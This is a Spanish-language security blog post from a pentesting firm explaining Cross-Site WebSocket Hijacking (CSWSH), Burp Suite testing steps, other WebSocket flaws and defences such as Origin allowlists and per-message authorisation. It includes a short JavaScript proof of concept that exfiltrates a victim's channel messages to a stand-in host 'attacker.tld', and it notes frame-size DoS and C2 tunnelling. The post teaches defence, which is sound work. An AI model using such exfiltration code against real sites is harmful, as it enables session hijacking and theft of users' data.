La seguridad WebSocket es uno de los puntos que más se escapa en las auditorías web, porque el canal no se comporta como una petición HTTP normal y muchos de los controles que protegen tu API REST o GraphQL simplemente no aplican. El fallo estrella de esta superficie es el Cross-Site WebSocket Hijacking (CSWSH): un secuestro de sesión entre orígenes que aparece cuando el servidor autentica con cookies pero no valida el origen del handshake. Esta guía recorre cómo funciona el protocolo, cómo se explota CSWSH de principio a fin, qué otros bugs específicos existen, cómo se prueban los WebSockets con Burp Suite y qué defensas realmente cierran el vector.
Lo esencial sobre seguridad WebSocket
- El handshake WebSocket es una petición HTTP con
Upgrade, pero la Same-Origin Policy y CORS no restringen la lectura del canal una vez abierto.- El navegador envía la cabecera
Originen el handshake, pero solo es orientativa: un cliente que no sea navegador puede falsearla.- CSWSH = CSRF aplicado a WebSockets: cookies como autenticación mas ausencia de validación de
Originigual a secuestro de sesión entre orígenes.- Defensa base: lista blanca estricta de
Origin, token antiCSRF en el handshake, autorización por mensaje ywssobligatorio.
Cómo funciona el handshake WebSocket (y por qué no es HTTP ni CORS)
El protocolo WebSocket lo define el RFC 6455 (2011). La conexión arranca como una petición HTTP de actualización (Upgrade) y, tras la respuesta 101 Switching Protocols, la misma conexión TCP se convierte en un canal full duplex basado en frames. Un handshake típico se ve así:
GET /chat HTTP/1.1
Host: app.secra.es
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.secra.es
Cookie: session=eyJhbGciOi...
El servidor responde con 101 y una cabecera Sec-WebSocket-Accept, que es el SHA-1 del Sec-WebSocket-Key concatenado con el GUID mágico 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, codificado en base64. Ese cálculo solo demuestra que hablas WebSocket, no autentica nada.
Aquí está la trampa de seguridad. Cuando una página abre new WebSocket(...), el navegador adjunta automáticamente las cookies del dominio destino, igual que en cualquier petición cross-site. Pero, a diferencia de fetch() o XMLHttpRequest, la Same-Origin Policy no impide que el JavaScript atacante lea las respuestas del canal. CORS ni siquiera entra en juego: el protocolo WebSocket no aplica el modelo de preflight ni Access-Control-Allow-Origin. Si te interesa el contraste con el modelo del navegador, lo desarrollamos en CORS: qué es y errores explotables.
La única señal de origen que recibe el servidor es la cabecera Origin. Y esa cabecera es solo orientativa: la ponen los navegadores por diseño, pero un cliente que no sea navegador (curl, wscat, un script en Python) puede enviar el valor que quiera. Es decir, validar Origin frena los ataques lanzados desde un navegador de una víctima, pero nunca sustituye a la autenticación real.
Cross-Site WebSocket Hijacking (CSWSH) paso a paso
El CSWSH, término acuñado por Christian Schneider, es esencialmente CSRF sobre WebSockets con la agravante de que el atacante puede leer las respuestas. Las condiciones para que sea explotable son dos y se dan juntas con más frecuencia de la deseable:
- El endpoint WebSocket autentica al usuario mediante la cookie de sesión (autenticación ambiental).
- El servidor no valida la cabecera
Origindel handshake, o lo hace de forma laxa.
Con eso, el flujo de ataque es directo. La víctima, con su sesión iniciada en app.secra.es, visita una página controlada por el atacante. Esa página ejecuta:
const ws = new WebSocket("wss://app.secra.es/chat");
ws.onopen = () => ws.send('{"action":"getMessages"}');
ws.onmessage = (e) =>
fetch("https://attacker.tld/collect", { method: "POST", body: e.data });
El navegador de la víctima envía el handshake con su cookie de sesión válida. El servidor, al no comprobar Origin, acepta la conexión y la trata como autenticada. A partir de ahí el atacante puede enviar mensajes en nombre de la víctima y, lo más grave, exfiltrar todo lo que el servidor devuelva por el canal: historial de mensajes, tokens, datos de perfil o cualquier operación que la API WebSocket exponga. Si la cookie de sesión no lleva SameSite=Lax o Strict, el vector queda completamente abierto.
Reproducción con el historial de WebSockets de Burp
Para confirmarlo en una auditoría, el flujo mínimo con Burp Suite es:
- Navega la aplicación con el proxy activo hasta que se establezca la conexión WebSocket. Aparecerá en la pestaña WebSockets history, junto al historial HTTP.
- Localiza el handshake (la petición
GETconUpgrade: websocket) y anota si el servidor devuelve101con la cookie como única credencial. - Repite el handshake modificando la cabecera
Origina un dominio arbitrario (por ejemplohttps://evil.example). Si el servidor sigue devolviendo101y el canal responde a mensajes autenticados, la validación deOrigines inexistente o insuficiente: CSWSH confirmado. - Envía un mensaje del canal a Repeater, que soporta edición y reenvío de frames WebSocket, para probar qué operaciones acepta la sesión secuestrada.
Otros fallos específicos de WebSocket
CSWSH es el titular, pero la superficie tiene más aristas propias del protocolo.
Autenticación solo en el handshake vs por mensaje
Muchos servidores validan la identidad una única vez, en el handshake, y luego confían en la conexión durante toda su vida. El problema es que la autorización de cada operación no se vuelve a comprobar por mensaje. Si el canal multiplexa acciones sensibles, un usuario de bajo privilegio puede enviar frames que invocan operaciones que nunca debería alcanzar. Es exactamente el mismo patrón que en las suscripciones GraphQL sobre WebSocket, donde el token viaja en el payload connection_init y, si el resolver no reevalúa permisos por operación, aparecen fallos de autorización. Lo analizamos en detalle en pentesting GraphQL: vulnerabilidades y defensa.
Manipulación e inyección de mensajes
Un WebSocket es solo transporte: todas las clases de inyección clásicas siguen vigentes dentro de los frames. Si el contenido de un mensaje termina renderizado en el DOM sin escapar, tienes XSS; si alimenta una consulta, SQLi; si construye una ruta, path traversal. La diferencia práctica es que la mayoría de los WAF y filtros no inspeccionan los frames WebSocket, porque el tráfico va sobre una conexión ya actualizada. Manipular el JSON de cada mensaje desde Repeater suele revelar validación del lado servidor mucho más débil que en los endpoints HTTP equivalentes.
Denegación de servicio con frames sin límite
El RFC no impone un tamaño máximo de mensaje. Si el servidor no limita la longitud de los frames ni el ritmo de mensajes, un atacante puede agotar memoria enviando payloads enormes o abrir miles de conexiones para saturar el pool. La extensión de compresión permessage-deflate añade riesgo de amplificación tipo zip bomb: un frame comprimido pequeño se expande a cientos de megabytes en memoria del servidor.
TLS (wss) y tunneling
El esquema ws:// viaja en claro y expone cookies y mensajes a cualquiera en la ruta de red. Solo wss:// (WebSocket sobre TLS, puerto 443) protege el canal. Además, los WebSockets pueden tunelizar protocolos arbitrarios sobre 443, lo que los convierte en un canal cómodo de mando y control (C2) capaz de atravesar proxies corporativos que dejan pasar el tráfico HTTPS sin inspeccionar. Conviene tenerlo en el radar tanto en pentesting como en detección.
Pentesting de WebSockets con Burp Suite
La metodología de auditoría de un endpoint WebSocket encaja dentro del pentesting de APIs modernas, así que se apoya en el mismo instrumental. Un recorrido eficaz incluye:
- Descubrimiento. Identifica las URL
ws://ywss://inspeccionando el JavaScript del cliente y la pestaña WebSockets history de Burp. Documenta ruta, subprotocolo (Sec-WebSocket-Protocol) y credencial usada. - Validación de origen. Repite el handshake con
Originalterado, ausente y con un subdominio parecido para detectar comparaciones laxas (por ejemplostartsWitho expresiones regulares mal ancladas). - Autorización por mensaje. Con una sesión de bajo privilegio, envía frames que invoquen operaciones de mayor privilegio y comprueba si el servidor reevalúa permisos.
- Fuzzing de mensajes. Manipula cada campo del payload buscando inyección, IDOR y errores de lógica, aprovechando que el filtrado suele ser menor que en HTTP.
- Robustez. Prueba frames sobredimensionados y ráfagas de conexiones para evaluar límites y comportamiento ante DoS.
Esta secuencia es la extensión natural del enfoque descrito en pentesting de APIs REST y GraphQL, aplicada a un transporte persistente.
Defensas: Origin allowlist, tokens y autorización por mensaje
Cerrar la superficie WebSocket requiere combinar varios controles, porque ninguno basta por separado:
- Lista blanca estricta de
Origin. Valida la cabeceraOrigindel handshake contra una lista explícita de orígenes permitidos y rechaza el resto con un código distinto de101. Compara la cadena completa, nunca por prefijo o subcadena. - Token antiCSRF en el handshake. Como
Origines solo orientativo, exige además un token impredecible ligado a la sesión (en un parámetro del handshake o en el primer mensaje) y verifícalo en servidor. Esto neutraliza CSWSH incluso si la validación de origen falla. - No dependas de cookies ambientales. Autentica con tokens (por ejemplo Bearer en el payload
connection_init) en lugar de cookies de sesión, y marca cualquier cookie necesaria comoSameSite=StrictoLax. - Autorización por mensaje. Reevalúa permisos en cada operación, no solo en el handshake. La conexión persistente no debe ser un cheque en blanco.
wssobligatorio y HSTS. Fuerza TLS, rechazaws://y limita tamaño de frame, ritmo de mensajes y compresión para contener la denegación de servicio.
Preguntas frecuentes
¿CORS protege las conexiones WebSocket?
No. El modelo CORS y la Same-Origin Policy no restringen la lectura del canal WebSocket una vez establecido. El navegador envía la cabecera Origin en el handshake, pero es el servidor quien debe validarla explícitamente. Por eso un endpoint que confía solo en cookies y no comprueba Origin es vulnerable a CSWSH aunque su API HTTP tenga CORS perfectamente configurado.
¿Qué diferencia hay entre CSWSH y CSRF clásico?
Ambos abusan de la autenticación por cookie enviada automáticamente entre orígenes. La diferencia clave es que en CSRF tradicional el atacante puede disparar una acción pero no leer la respuesta (lo bloquea la Same-Origin Policy), mientras que en CSWSH sí puede leer todo lo que el servidor devuelve por el canal, lo que lo convierte en un secuestro de sesión bidireccional mucho más grave.
¿Validar la cabecera Origin es suficiente para frenar CSWSH?
Frente a un navegador, validar Origin con lista blanca detiene el ataque, porque el navegador no permite falsear esa cabecera desde JavaScript. Pero Origin es orientativa: un cliente que no sea navegador puede enviar cualquier valor. Por eso la recomendación es combinar validación de Origin con un token antiCSRF impredecible en el handshake y autorización por mensaje.
¿Cómo pruebo un WebSocket con Burp Suite?
Navega la aplicación con el proxy activo hasta abrir la conexión, revisa la pestaña WebSockets history, repite el handshake alterando la cabecera Origin y envía frames a Repeater para probar autorización, inyección y lógica. Es el mismo instrumental del pentesting web, aplicado a un canal persistente.
En Secra auditamos endpoints WebSocket, APIs REST y GraphQL dentro del servicio de auditoría web y móvil, con foco real en validación de origen, autorización por mensaje y CSWSH. Cada hallazgo llega con reproducción, severidad justificada por impacto de negocio y plan de remediación priorizado. Si quieres una propuesta para tu aplicación, escríbenos desde contacto.
Sobre el autor
Equipo de Secra Solutions
Ethical hackers certificados OSCP, OSEP, OSWE, CRTO, CRTL y CARTE, con más de 7 años de experiencia en ciberseguridad ofensiva. Autores de los CVE-2025-40652 y CVE-2023-3512.

